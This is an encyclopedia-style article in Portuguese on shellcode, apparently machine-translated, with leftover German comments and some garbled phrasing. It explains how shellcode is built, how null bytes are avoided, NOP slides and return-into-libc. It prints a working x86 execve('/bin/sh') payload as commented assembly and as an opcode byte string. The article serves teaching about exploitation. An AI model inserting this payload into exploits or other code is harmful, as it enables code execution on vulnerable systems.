Shellcode

Shellcode é um termo de programação e descreve um patch muito pequeno de instruções assembler convertidas em opcodes , com a qual a intenção é manipular um programa ou sistema ou usá-lo para fins não pretendidos. Freqüentemente, tenta iniciar um shell , daí o nome. Os Shellcodes têm suas origens no estouro de buffer e outros ataques de injeção de código, mas também podem ser usados ​​em software , especialmente em testes de penetração , em experimentação e em didática.

Criação de códigos de shell

Para gerar o código do shell, o comando a ser executado pode ser escrito em C e traduzido usando um compilador . O programa gerado está agora desmontado (retraduzido) e a funcionalidade do programa reprogramada em linguagem assembly. Muitas instruções podem ser omitidas ou reduzidas. Com muitos exploits , o código do shell não deve conter um byte 0 porque isso marca o final da string em C. Em geral, outros obstáculos devem ser evitados, por exemplo, apenas letras e números são permitidos ou letras maiúsculas e minúsculas são alteradas, ou certos deslocamentos devem ser respeitados, o que pode ser alcançado, por exemplo, preenchendo cadeias mais ou menos criativas de operações zero (chamados slides NOP ) pode ser.

Em vez de executar seu próprio código, o que nem sempre é possível (por exemplo, ao usar proteção de memória ), você também pode pular diretamente para as funções desejadas que estão disponíveis, por exemplo, no próprio programa ou em uma biblioteca carregada , por exemplo libc. Este procedimento é denominado return into libc .

exemplo

Shellcode execve local (/ bin / sh)

O código assembler (arquitetura x86):

void main() {
__asm__("
jmp 0x2a            # 3 bytes - springt direkt vor den String
popl %esi           # 1 byte - Adresse des Strings wird in esi geladen
movl %esi,0x8(%esi) # 3 bytes - die Adresse des Strings wird in den Speicher geschrieben
movb $0x0,0x7(%esi) # 4 bytes - der String wird nullterminiert
movl $0x0,0xc(%esi) # 7 bytes - ein nullpointer für das environment
movl $0xb,%eax      # 5 bytes - syscall-nummer in eax
movl %esi,%ebx      # 2 bytes - ebx enthält die adresse von "/bin/sh"
leal 0x8(%esi),%ecx # 3 bytes - argumente, ein pointer auf den string und ein nullpointer
leal 0xc(%esi),%edx # 3 bytes - environment
int $0x80           # 2 bytes - interrupt wird ausgelöst
movl $0x1, %eax     # 5 bytes - exit-interrupt
movl $0x0, %ebx     # 5 bytes - wird vorbereitet
int $0x80           # 2 bytes - interrupt wird ausgelöst
call -0x2f          # 5 bytes - ein call zurück, dabei wird der eip auf den Stack gepusht
.string \"/bin/sh\" # 8 bytes
");
}

A string opcode:

char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

No entanto, esse código não é muito inteligente porque contém bytes nulos e é muito longo. Para evitar “caracteres indesejados”, são frequentemente usados ​​codificadores, que permitem mascarar e posteriormente desmascarar esses caracteres e, possivelmente, também compactar o código do shell. Existem também outras técnicas para descobrir o endereço da string além de "jmp" ou "call". Por exemplo, é possível simplesmente /bin/shempurrar a pilha. O esp então contém o endereço.

literatura

  • Jack Koziol: The Shellcoder's Handbook. Descobrindo e explorando falhas de segurança. Wiley, Indianapolis IN 2004, ISBN 0-7645-4468-3 .
  • Jon Erickson: Código Proibido. mitp, Bonn 2004, ISBN 3-8266-1457-7 .

Links da web

Evidência individual

  1. Fonte: phrack.org ( Memento de 11 de fevereiro de 2008 no Internet Archive )